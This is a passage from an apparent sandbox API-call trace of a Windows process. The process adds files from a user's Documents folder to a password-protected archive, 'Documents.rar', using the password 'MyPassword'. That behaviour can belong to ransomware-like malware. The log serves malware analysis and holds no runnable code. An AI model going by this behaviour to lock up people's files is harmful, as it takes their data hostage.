"c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\qfqemqdf\\escikz2yiwadp58m1by\\2noj5\\lihatsxy\\5s3p3.csv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0082.845] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764f630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0082.845] GetTickCount () returned 0x2a83c [0082.845] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0082.845] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0082.846] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0082.846] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0082.846] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="iOBweAZSY.ods") returned 13 [0082.846] SetWindowTextW (hWnd=0x10300, lpString="5S3P3.csv") returned 1 [0082.846] GetTickCount () returned 0x2a83c [0082.846] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0082.846] CryptAcquireContextW (in: phProv=0x141a0dd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x141a0dd850*=0x116320a74a0) returned 1 [0082.847] CryptGenRandom (in: hProv=0x116320a74a0, dwLen=0x10, pbBuffer=0x141a0dd8d0 | out: pbBuffer=0x141a0dd8d0) returned 1 [0082.847] CryptReleaseContext (hProv=0x116320a74a0, dwFlags=0x0) returned 1 [0082.847] GetSystemTime (in: lpSystemTime=0x141a0dd7e8 | out: lpSystemTime=0x141a0dd7e8*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xe, wSecond=0x0, wMilliseconds=0x14f)) [0082.847] SystemTimeToFileTime (in: lpSystemTime=0x141a0dd7e8, lpFileTime=0x141a0dd7e0 | out: lpFileTime=0x141a0dd7e0) returned 1 [0082.847] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd810 | out: lpPerformanceCount=0x141a0dd810*=17417539088) returned 1 [0082.847] ReadFile (in: hFile=0x350, lpBuffer=0x11631b8e040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b8e040*, lpNumberOfBytesRead=0x141a0dd8f0*=0x12439, lpOverlapped=0x0) returned 1 [0082.848] ReadFile (in: hFile=0x350, lpBuffer=0x11631ba0479, nNumberOfBytesToRead=0xedbc7, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631ba0479*, lpNumberOfBytesRead=0x141a0dd8f0*=0x0, lpOverlapped=0x0) returned 1 [0082.848] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.848] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.848] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079c20 [0082.848] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079e30 [0082.848] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079e30, Size=0x48) returned 0x1162e888ea0 [0082.848] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86db30 [0082.848] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079e30 [0082.848] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079e30, Size=0x48) returned 0x1162e888ef0 [0082.848] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86db30 | out: hHeap=0x1162e7c0000) returned 1 [0082.848] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0082.848] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079e30 [0082.848] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079e60 [0082.848] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079e60 | out: hHeap=0x1162e7c0000) returned 1 [0082.848] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079e30 | out: hHeap=0x1162e7c0000) returned 1 [0082.848] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079c20, Size=0x63) returned 0x1162e7f9f40 [0082.848] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e7f9f40, Size=0x9f) returned 0x1162e874040 [0082.848] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ef0 | out: hHeap=0x1162e7c0000) returned 1 [0082.848] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e874040 | out: hHeap=0x1162e7c0000) returned 1 [0082.849] GetTickCount () returned 0x2a83c [0082.850] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd730 | out: lpPerformanceCount=0x141a0dd730*=17417817700) returned 1 [0082.850] GetTickCount () returned 0x2a83c [0082.850] GetTickCount () returned 0x2a83c [0082.850] GetTickCount () returned 0x2a83c [0082.850] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.850] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.850] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.850] ResetEvent (hEvent=0x344) returned 1 [0082.850] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.852] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0082.852] ResetEvent (hEvent=0x344) returned 1 [0082.852] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.857] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0082.857] ResetEvent (hEvent=0x344) returned 1 [0082.857] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.860] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0082.860] GetTickCount () returned 0x2a84c [0082.860] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17418905920) returned 1 [0082.860] GetTickCount () returned 0x2a84c [0082.861] GetTickCount () returned 0x2a84c [0082.861] GetTickCount () returned 0x2a84c [0082.861] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0082.861] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0082.861] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.861] ResetEvent (hEvent=0x33c) returned 1 [0082.861] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.862] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0082.862] ResetEvent (hEvent=0x33c) returned 1 [0082.862] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.863] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0082.863] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0082.863] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.863] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5e0*=0) returned 0x11df32 [0082.863] SetFilePointer (in: hFile=0x32c, lDistanceToMove=157, lpDistanceToMoveHigh=0x141a0dd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5b0*=0) returned 0x11dfcf [0082.863] CryptUnprotectMemory (in: pDataIn=0x141a0dd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd460) returned 1 [0082.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0082.863] CryptUnprotectMemory (in: pDataIn=0x141a0dce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dce40) returned 1 [0082.863] CryptUnprotectMemory (in: pDataIn=0x141a0dcf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dcf40) returned 1 [0082.863] CryptUnprotectMemory (in: pDataIn=0x141a0dd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd0c0) returned 1 [0082.863] WriteFile (in: hFile=0x32c, lpBuffer=0x1163023fb20*, nNumberOfBytesToWrite=0x124e0, lpNumberOfBytesWritten=0x141a0dd5e0, lpOverlapped=0x0 | out: lpBuffer=0x1163023fb20*, lpNumberOfBytesWritten=0x141a0dd5e0*=0x124e0, lpOverlapped=0x0) returned 1 [0082.864] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0082.864] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.864] SetFilePointer (in: hFile=0x32c, lDistanceToMove=1171250, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x11df32 [0082.864] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9c80*=0) returned 0x11df32 [0082.865] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079b00 [0082.865] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079e30 [0082.865] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079e30, Size=0x48) returned 0x1162e888ea0 [0082.865] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86dd30 [0082.865] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079bc0 [0082.865] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079bc0, Size=0x48) returned 0x1162e888ef0 [0082.865] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86dd30 | out: hHeap=0x1162e7c0000) returned 1 [0082.865] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0082.865] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079e30 [0082.865] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079b90 [0082.865] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079b90 | out: hHeap=0x1162e7c0000) returned 1 [0082.865] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079e30 | out: hHeap=0x1162e7c0000) returned 1 [0082.865] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079b00, Size=0x63) returned 0x1162e7f97d0 [0082.865] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e7f97d0, Size=0x9f) returned 0x1162e873d80 [0082.865] WriteFile (in: hFile=0x32c, lpBuffer=0x1162e873d82*, nNumberOfBytesToWrite=0x9d, lpNumberOfBytesWritten=0x141a0d82c0, lpOverlapped=0x0 | out: lpBuffer=0x1162e873d82*, lpNumberOfBytesWritten=0x141a0d82c0*=0x9d, lpOverlapped=0x0) returned 1 [0082.865] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079980 [0082.865] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x9d) returned 0x1162e874040 [0082.865] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ef0 | out: hHeap=0x1162e7c0000) returned 1 [0082.865] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e873d80 | out: hHeap=0x1162e7c0000) returned 1 [0082.865] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x1304af [0082.865] CloseHandle (hObject=0x350) returned 1 [0082.865] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.865] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.865] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0082.865] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.865] FindFirstFileW (in: lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\2NOJ5\\lIHAtSXy\\9NEdDu7cj0FPBRK.odt", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d460 [0082.865] FindClose (in: hFindFile=0x1163204d460 | out: hFindFile=0x1163204d460) returned 1 [0082.866] CreateFileW (lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\2NOJ5\\lIHAtSXy\\9NEdDu7cj0FPBRK.odt" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\qfqemqdf\\escikz2yiwadp58m1by\\2noj5\\lihatsxy\\9neddu7cj0fpbrk.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0082.866] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764fa30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0082.866] GetTickCount () returned 0x2a84c [0082.866] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0082.866] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0082.866] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0082.866] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0082.866] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="5S3P3.csv") returned 9 [0082.866] SetWindowTextW (hWnd=0x10300, lpString="9NEdDu7cj0FPBRK.odt") returned 1 [0082.867] GetTickCount () returned 0x2a84c [0082.867] UpdateWindow (hWnd=0x102f8) returned 1 [0082.867] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0082.867] CryptAcquireContextW (in: phProv=0x141a0dd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x141a0dd850*=0x116320a74a0) returned 1 [0082.867] CryptGenRandom (in: hProv=0x116320a74a0, dwLen=0x10, pbBuffer=0x141a0dd8d0 | out: pbBuffer=0x141a0dd8d0) returned 1 [0082.867] CryptReleaseContext (hProv=0x116320a74a0, dwFlags=0x0) returned 1 [0082.867] GetSystemTime (in: lpSystemTime=0x141a0dd7e8 | out: lpSystemTime=0x141a0dd7e8*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xe, wSecond=0x0, wMilliseconds=0x15e)) [0082.867] SystemTimeToFileTime (in: lpSystemTime=0x141a0dd7e8, lpFileTime=0x141a0dd7e0 | out: lpFileTime=0x141a0dd7e0) returned 1 [0082.867] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd810 | out: lpPerformanceCount=0x141a0dd810*=17419571659) returned 1 [0082.867] ReadFile (in: hFile=0x350, lpBuffer=0x11631b8e040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b8e040*, lpNumberOfBytesRead=0x141a0dd8f0*=0x13515, lpOverlapped=0x0) returned 1 [0082.868] ReadFile (in: hFile=0x350, lpBuffer=0x11631ba1555, nNumberOfBytesToRead=0xecaeb, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631ba1555*, lpNumberOfBytesRead=0x141a0dd8f0*=0x0, lpOverlapped=0x0) returned 1 [0082.868] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.868] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.868] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079b00 [0082.868] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079b90 [0082.868] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079b90, Size=0x48) returned 0x1162e888680 [0082.868] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d570 [0082.868] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079a70 [0082.868] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079a70, Size=0x48) returned 0x1162e888ea0 [0082.868] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d570 | out: hHeap=0x1162e7c0000) returned 1 [0082.868] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888680 | out: hHeap=0x1162e7c0000) returned 1 [0082.868] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079a10 [0082.868] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079f80 [0082.868] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079f80 | out: hHeap=0x1162e7c0000) returned 1 [0082.868] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079a10 | out: hHeap=0x1162e7c0000) returned 1 [0082.868] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079b00, Size=0x6d) returned 0x1162e875640 [0082.868] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e875640, Size=0xa9) returned 0x1162e7f6640 [0082.868] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0082.868] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e7f6640 | out: hHeap=0x1162e7c0000) returned 1 [0082.879] GetTickCount () returned 0x2a85b [0082.879] GetLastError () returned 0x0 [0082.879] SetLastError (dwErrCode=0x0) [0082.879] GetDlgItem (hDlg=0x102f8, nIDDlgItem=158) returned 0x10304 [0082.879] GetDlgItem (hDlg=0x102f8, nIDDlgItem=153) returned 0x10302 [0082.879] GetWindowTextW (in: hWnd=0x10302, lpString=0x141a0dbeb0, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0082.879] SendMessageW (hWnd=0x10304, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x64 [0082.880] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd730 | out: lpPerformanceCount=0x141a0dd730*=17420835313) returned 1 [0082.880] GetTickCount () returned 0x2a85b [0082.880] GetTickCount () returned 0x2a85b [0082.880] GetTickCount () returned 0x2a85b [0082.880] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.880] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.880] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.880] ResetEvent (hEvent=0x344) returned 1 [0082.880] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.881] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0082.881] ResetEvent (hEvent=0x344) returned 1 [0082.881] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.884] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0082.884] ResetEvent (hEvent=0x344) returned 1 [0082.884] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.888] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0082.888] GetTickCount () returned 0x2a86b [0082.888] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17421662984) returned 1 [0082.888] GetTickCount () returned 0x2a86b [0082.888] GetTickCount () returned 0x2a86b [0082.888] GetTickCount () returned 0x2a86b [0082.888] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 1 [0082.888] GetMessageW (in: lpMsg=0x141a0dd760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd760) returned 1 [0082.888] GetFocus () returned 0x1031c [0082.888] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd760) returned 1 [0082.888] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 1 [0082.888] GetMessageW (in: lpMsg=0x141a0dd760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd760) returned 1 [0082.889] GetFocus () returned 0x1031c [0082.889] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd760) returned 1 [0082.889] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.890] ResetEvent (hEvent=0x33c) returned 1 [0082.890] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.890] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0082.890] ResetEvent (hEvent=0x33c) returned 1 [0082.891] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.891] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0082.891] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0082.891] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.891] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5e0*=0) returned 0x1304af [0082.891] SetFilePointer (in: hFile=0x32c, lDistanceToMove=167, lpDistanceToMoveHigh=0x141a0dd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5b0*=0) returned 0x130556 [0082.891] CryptUnprotectMemory (in: pDataIn=0x141a0dd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd460) returned 1 [0082.892] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0082.892] CryptUnprotectMemory (in: pDataIn=0x141a0dce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dce40) returned 1 [0082.892] CryptUnprotectMemory (in: pDataIn=0x141a0dcf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dcf40) returned 1 [0082.892] CryptUnprotectMemory (in: pDataIn=0x141a0dd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd0c0) returned 1 [0082.892] WriteFile (in: hFile=0x32c, lpBuffer=0x1163023fb20*, nNumberOfBytesToWrite=0x135c0, lpNumberOfBytesWritten=0x141a0dd5e0, lpOverlapped=0x0 | out: lpBuffer=0x1163023fb20*, lpNumberOfBytesWritten=0x141a0dd5e0*=0x135c0, lpOverlapped=0x0) returned 1 [0082.894] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0082.894] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.894] SetFilePointer (in: hFile=0x32c, lDistanceToMove=1246383, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x1304af [0082.894] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9c80*=0) returned 0x1304af [0082.894] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079bc0 [0082.894] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079b00 [0082.894] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079b00, Size=0x48) returned 0x1162e888ea0 [0082.894] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d570 [0082.894] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079950 [0082.894] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079950, Size=0x48) returned 0x1162e888810 [0082.894] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d570 | out: hHeap=0x1162e7c0000) returned 1 [0082.894] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0082.894] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079b00 [0082.894] RtlAllocateHeap 